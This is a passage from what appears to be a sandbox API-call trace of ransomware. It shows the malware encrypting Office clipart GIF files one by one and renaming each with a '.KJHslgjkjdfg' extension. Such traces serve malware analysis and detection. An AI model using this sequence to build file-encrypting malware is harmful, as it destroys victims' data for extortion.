phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0250.276] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0250.276] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0250.276] ReadFile (in: hFile=0x130, lpBuffer=0x4bf0020, nNumberOfBytesToRead=0x37e, lpNumberOfBytesRead=0x4dff27c, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesRead=0x4dff27c*=0x37e, lpOverlapped=0x0) returned 1 [0250.276] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x380, dwBufLen=0x380 | out: pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x380) returned 1 [0250.276] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0250.276] WriteFile (in: hFile=0x130, lpBuffer=0x4bf0020*, nNumberOfBytesToWrite=0x380, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesWritten=0x4dff270*=0x380, lpOverlapped=0x0) returned 1 [0250.277] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0250.277] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x454, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0250.277] SetEndOfFile (hFile=0x130) returned 1 [0250.280] GetProcessHeap () returned 0x2ef0000 [0250.280] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0c898 | out: hHeap=0x2ef0000) returned 1 [0250.280] GetProcessHeap () returned 0x2ef0000 [0250.280] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0ee68 | out: hHeap=0x2ef0000) returned 1 [0250.280] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WB01297_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\wb01297_.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WB01297_.GIF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\wb01297_.gif.kjhslgjkjdfg")) returned 1 [0250.282] CloseHandle (hObject=0x130) returned 1 [0250.282] FindNextFileW (in: hFindFile=0x2f18288, lpFindFileData=0x4dff300 | out: lpFindFileData=0x4dff300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8d921100, ftCreationTime.dwHighDateTime=0x1bd4e67, ftLastAccessTime.dwLowDateTime=0x5e574fb0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x8d921100, ftLastWriteTime.dwHighDateTime=0x1bd4e67, nFileSizeHigh=0x0, nFileSizeLow=0x2bc, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="WB01298_.GIF", cAlternateFileName="")) returned 1 [0250.282] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WB01298_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\wb01298_.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0250.284] GetProcessHeap () returned 0x2ef0000 [0250.284] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x10) returned 0x2f0ee68 [0250.284] CryptGenRandom (in: hProv=0x2f0c268, dwLen=0x10, pbBuffer=0x2f0ee68 | out: pbBuffer=0x2f0ee68) returned 1 [0250.285] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff290 | out: lpNewFilePointer=0x0) returned 1 [0250.285] WriteFile (in: hFile=0x130, lpBuffer=0x4dff2a0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff2a0*, lpNumberOfBytesWritten=0x4dff270*=0x4, lpOverlapped=0x0) returned 1 [0250.286] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14b20, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0250.286] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0250.286] GetProcessHeap () returned 0x2ef0000 [0250.286] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x40) returned 0x2f0c898 [0250.286] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40, dwBufLen=0x40 | out: pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40) returned 1 [0250.286] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0250.286] WriteFile (in: hFile=0x130, lpBuffer=0x2f0c898*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0c898*, lpNumberOfBytesWritten=0x4dff270*=0x40, lpOverlapped=0x0) returned 1 [0250.286] WriteFile (in: hFile=0x130, lpBuffer=0x4dff278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff278*, lpNumberOfBytesWritten=0x4dff270*=0x4, lpOverlapped=0x0) returned 1 [0250.286] WriteFile (in: hFile=0x130, lpBuffer=0x2f0ee68*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0ee68*, lpNumberOfBytesWritten=0x4dff270*=0x10, lpOverlapped=0x0) returned 1 [0250.286] WriteFile (in: hFile=0x130, lpBuffer=0x2f11a08*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f11a08*, lpNumberOfBytesWritten=0x4dff270*=0x80, lpOverlapped=0x0) returned 1 [0250.286] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff298 | out: lpNewFilePointer=0x0) returned 1 [0250.286] WriteFile (in: hFile=0x130, lpBuffer=0x4dff288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff288*, lpNumberOfBytesWritten=0x4dff270*=0x8, lpOverlapped=0x0) returned 1 [0250.286] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14b20, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0250.286] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0250.287] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0250.287] ReadFile (in: hFile=0x130, lpBuffer=0x4bf0020, nNumberOfBytesToRead=0x2bc, lpNumberOfBytesRead=0x4dff27c, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesRead=0x4dff27c*=0x2bc, lpOverlapped=0x0) returned 1 [0250.287] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x2c0, dwBufLen=0x2c0 | out: pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x2c0) returned 1 [0250.287] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0250.287] WriteFile (in: hFile=0x130, lpBuffer=0x4bf0020*, nNumberOfBytesToWrite=0x2c0, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesWritten=0x4dff270*=0x2c0, lpOverlapped=0x0) returned 1 [0250.287] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0250.287] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x394, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0250.287] SetEndOfFile (hFile=0x130) returned 1 [0250.289] GetProcessHeap () returned 0x2ef0000 [0250.289] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0c898 | out: hHeap=0x2ef0000) returned 1 [0250.289] GetProcessHeap () returned 0x2ef0000 [0250.289] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0ee68 | out: hHeap=0x2ef0000) returned 1 [0250.289] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WB01298_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\wb01298_.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WB01298_.GIF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\wb01298_.gif.kjhslgjkjdfg")) returned 1 [0250.291] CloseHandle (hObject=0x130) returned 1 [0250.291] FindNextFileW (in: hFindFile=0x2f18288, lpFindFileData=0x4dff300 | out: lpFindFileData=0x4dff300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x82d77c00, ftCreationTime.dwHighDateTime=0x1bd4e67, ftLastAccessTime.dwLowDateTime=0x5e574fb0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x82d77c00, ftLastWriteTime.dwHighDateTime=0x1bd4e67, nFileSizeHigh=0x0, nFileSizeLow=0x13e, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="WB01299_.GIF", cAlternateFileName="")) returned 1 [0250.291] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WB01299_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\wb01299_.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0250.292] GetProcessHeap () returned 0x2ef0000 [0250.292] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x10) returned 0x2f0ee68 [0250.292] CryptGenRandom (in: hProv=0x2f0c268, dwLen=0x10, pbBuffer=0x2f0ee68 | out: pbBuffer=0x2f0ee68) returned 1 [0250.292] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff290 | out: lpNewFilePointer=0x0) returned 1 [0250.292] WriteFile (in: hFile=0x130, lpBuffer=0x4dff2a0*, nNumberOfBytesToWrite=0x2, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff2a0*, lpNumberOfBytesWritten=0x4dff270*=0x2, lpOverlapped=0x0) returned 1 [0250.294] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14c70, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0250.294] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0250.294] GetProcessHeap () returned 0x2ef0000 [0250.294] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x40) returned 0x2f0c898 [0250.294] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40, dwBufLen=0x40 | out: pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40) returned 1 [0250.294] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0250.294] WriteFile (in: hFile=0x130, lpBuffer=0x2f0c898*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0c898*, lpNumberOfBytesWritten=0x4dff270*=0x40, lpOverlapped=0x0) returned 1 [0250.294] WriteFile (in: hFile=0x130, lpBuffer=0x4dff278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff278*, lpNumberOfBytesWritten=0x4dff270*=0x4, lpOverlapped=0x0) returned 1 [0250.294] WriteFile (in: hFile=0x130, lpBuffer=0x2f0ee68*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0ee68*, lpNumberOfBytesWritten=0x4dff270*=0x10, lpOverlapped=0x0) returned 1 [0250.294] WriteFile (in: hFile=0x130, lpBuffer=0x2f149f0*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f149f0*, lpNumberOfBytesWritten=0x4dff270*=0x80, lpOverlapped=0x0) returned 1 [0250.295] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff298 | out: lpNewFilePointer=0x0) returned 1 [0250.296] WriteFile (in: hFile=0x130, lpBuffer=0x4dff288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff288*, lpNumberOfBytesWritten=0x4dff270*=0x8, lpOverlapped=0x0) returned 1 [0250.296] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14c70, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0250.296] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0250.296] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0250.296] ReadFile (in: hFile=0x130, lpBuffer=0x4bf0020, nNumberOfBytesToRead=0x13e, lpNumberOfBytesRead=0x4dff27c, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesRead=0x4dff27c*=0x13e, lpOverlapped=0x0) returned 1 [0250.296] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x140, dwBufLen=0x140 | out: pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x140) returned 1 [0250.296] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0250.296] WriteFile (in: hFile=0x130, lpBuffer=0x4bf0020*, nNumberOfBytesToWrite=0x140, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesWritten=0x4dff270*=0x140, lpOverlapped=0x0) returned 1 [0250.296] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0250.296] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x214, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0250.296] SetEndOfFile (hFile=0x130) returned 1 [0250.297] GetProcessHeap () returned 0x2ef0000 [0250.298] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0c898 | out: hHeap=0x2ef0000) returned 1 [0250.298] GetProcessHeap () returned 0x2ef0000 [0250.298] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0ee68 | out: hHeap=0x2ef0000) returned 1 [0250.298] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WB01299_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\wb01299_.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WB01299_.GIF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\wb01299_.gif.kjhslgjkjdfg")) returned 1 [0250.299] CloseHandle (hObject=0x130) returned 1 [0250.299] FindNextFileW (in: hFindFile=0x2f18288, lpFindFileData=0x4dff300 | out: lpFindFileData=0x4dff300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x794e1400, ftCreationTime.dwHighDateTime=0x1bd4e67, ftLastAccessTime.dwLowDateTime=0x70875130, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x794e1400, ftLastWriteTime.dwHighDateTime=0x1bd4e67, nFileSizeHigh=0x0, nFileSizeLow=0x250, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="WB01300_.GIF", cAlternateFileName="")) returned 1 [0250.299] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WB01300_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\wb01300_.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0250.300] GetProcessHeap () returned 0x2ef0000 [0250.300] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x10) returned 0x2f0ee68 [0250.301] CryptGenRandom (in: hProv=0x2f0c268, dwLen=0x10, pbBuffer=0x2f0ee68 | out: pbBuffer=0x2f0ee68) returned 1 [0250.301] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff290 | out: lpNewFilePointer=0x0) returned 1 [0250.301] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14b20, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0250.301] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0250.301] GetProcessHeap () returned 0x2ef0000 [0250.301] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x40) returned 0x2f0c898 [0250.301] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40, dwBufLen=0x40 | out: pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40) returned 1 [0250.301] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0250.301] WriteFile (in: hFile=0x130, lpBuffer=0x2f0c898*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0c898*, lpNumberOfBytesWritten=0x4dff270*=0x40, lpOverlapped=0x0) returned 1 [0250.302] WriteFile (in: hFile=0x130, lpBuffer=0x4dff278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff278*, lpNumberOfBytesWritten=0x4dff270*=0x4, lpOverlapped=0x0) returned 1 [0250.303] WriteFile (in: hFile=0x130, lpBuffer=0x2f0ee68*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0ee68*, lpNumberOfBytesWritten=0x4dff270*=0x10, lpOverlapped=0x0) returned 1 [0250.303] WriteFile (in: hFile=0x130, lpBuffer=0x2f11a08*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f11a08*, lpNumberOfBytesWritten=0x4dff270*=0x80, lpOverlapped=0x0) returned 1 [0250.303] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff298 | out: lpNewFilePointer=0x0) returned 1 [0250.303] WriteFile (in: hFile=0x130, lpBuffer=0x4dff288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff288*, lpNumberOfBytesWritten=0x4dff270*=0x8, lpOverlapped=0x0) returned 1 [0250.303] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14b20, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0250.303] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0250.303] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0250.303] ReadFile (in: hFile=0x130, lpBuffer=0x4bf0020, nNumberOfBytesToRead=0x250, lpNumberOfBytesRead=0x4dff27c, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesRead=0x4dff27c*=0x250, lpOverlapped=0x0) returned 1 [0250.303] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x250, dwBufLen=0x250 | out: pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x250) returned 1 [0250.303] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0250.303] WriteFile (in: hFile=0x130, lpBuffer=0x4bf0020*, nNumberOfBytesToWrite=0x250, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesWritten=0x4dff270*=0x250, lpOverlapped=0x0) returned 1 [0250.304] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0250.304] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x324, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0250.304] SetEndOfFile (hFile=0x130) returned 1 [0250.306] GetProcessHeap () returned 0x2ef0000 [0250.306] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0c898 | out: hHeap=0x2ef0000) returned 1 [0250.306] GetProcessHeap () returned 0x2ef0000 [0250.306] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0ee68 | out: hHeap=0x2ef0000) returned 1 [0250.306] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WB01300_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\wb01300_.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WB01300_.GIF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\wb01300_.gif.kjhslgjkjdfg")) returned 1 [0250.308] CloseHandle (hObject=0x130) returned 1 [0250.308] FindNextFileW (in: hFindFile=0x2f18288, lpFindFileData=0x4dff300 | out: lpFindFileData=0x4dff300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x74896000, ftCreationTime.dwHighDateTime=0x1bd4e67, ftLastAccessTime.dwLowDateTime=0x5e574fb0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x74896000, ftLastWriteTime.dwHighDateTime=0x1bd4e67, nFileSizeHigh=0x0, nFileSizeLow=0x2a9, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="WB01301_.GIF", cAlternateFileName="")) returned 1 [0250.308] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WB01301_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\wb01301_.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0250.309] GetProcessHeap () returned 0x2ef0000 [0250.309] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x10) returned 0x2f0ee68 [0250.309] CryptGenRandom (in: hProv=0x2f0c268, dwLen=0x10, pbBuffer=0x2f0ee68 | out: pbBuffer=0x2f0ee68) returned 1 [0250.309] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff290 | out: lpNewFilePointer=0x0) returned 1 [0250.309] WriteFile (in: hFile=0x130, lpBuffer=0x4dff2a0*, nNumberOfBytesToWrite=0x7, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff2a0*, lpNumberOfBytesWritten=0x4dff270*=0x7, lpOverlapped=0x0) returned 1 [0250.311] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14c70, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0250.311] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0250.311] GetProcessHeap () returned 0x2ef0000 [0250.311] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x40) returned 0x2f0c898 [0250.311] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40, dwBufLen=0x40 | out: pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40) returned 1 [0250.311] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0250.311] WriteFile (in: hFile=0x130, lpBuffer=0x2f0c898*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0c898*, lpNumberOfBytesWritten=0x4dff270*=0x40, lpOverlapped=0x0) returned 1 [0250.311] WriteFile (in: hFile=0x130, lpBuffer=0x4dff278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff278*, lpNumberOfBytesWritten=0x4dff270*=0x4, lpOverlapped=0x0) returned 1 [0250.311] WriteFile (in: hFile=0x130, lpBuffer=0x2f0ee68*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0ee68*, lpNumberOfBytesWritten=0x4dff270*=0x10, lpOverlapped=0x0) returned 1 [0250.311] WriteFile (in: hFile=0x130, lpBuffer=0x2f149f0*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f149f0*, lpNumberOfBytesWritten=0x4dff270*=0x80, lpOverlapped=0x0) returned 1 [0250.311] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff298 | out: lpNewFilePointer=0x0) returned 1 [0250.311] WriteFile (in: hFile=0x130, lpBuffer=0x4dff288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff288*, lpNumberOfBytesWritten=0x4dff270*=0x8, lpOverlapped=0x0) returned 1 [0250.312] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14c70, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0250.312] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0250.312] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0250.312] ReadFile (in: hFile=0x130, lpBuffer=0x4bf0020, nNumberOfBytesToRead=0x2a9, lpNumberOfBytesRead=0x4dff27c, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesRead=0x4dff27c*=0x2a9, lpOverlapped=0x0) returned 1 [0250.312] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x2b0, dwBufLen=0x2b0 | out: pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x2b0) returned 1 [0250.312] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0250.312] WriteFile (in: hFile=0x130, lpBuffer=0x4bf0020*, nNumberOfBytesToWrite=0x2b0, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesWritten=0x4dff270*=0x2b0, lpOverlapped=0x0) returned 1 [0250.312] CryptDestroyKey (hKey=0x2f182c8) returned 1 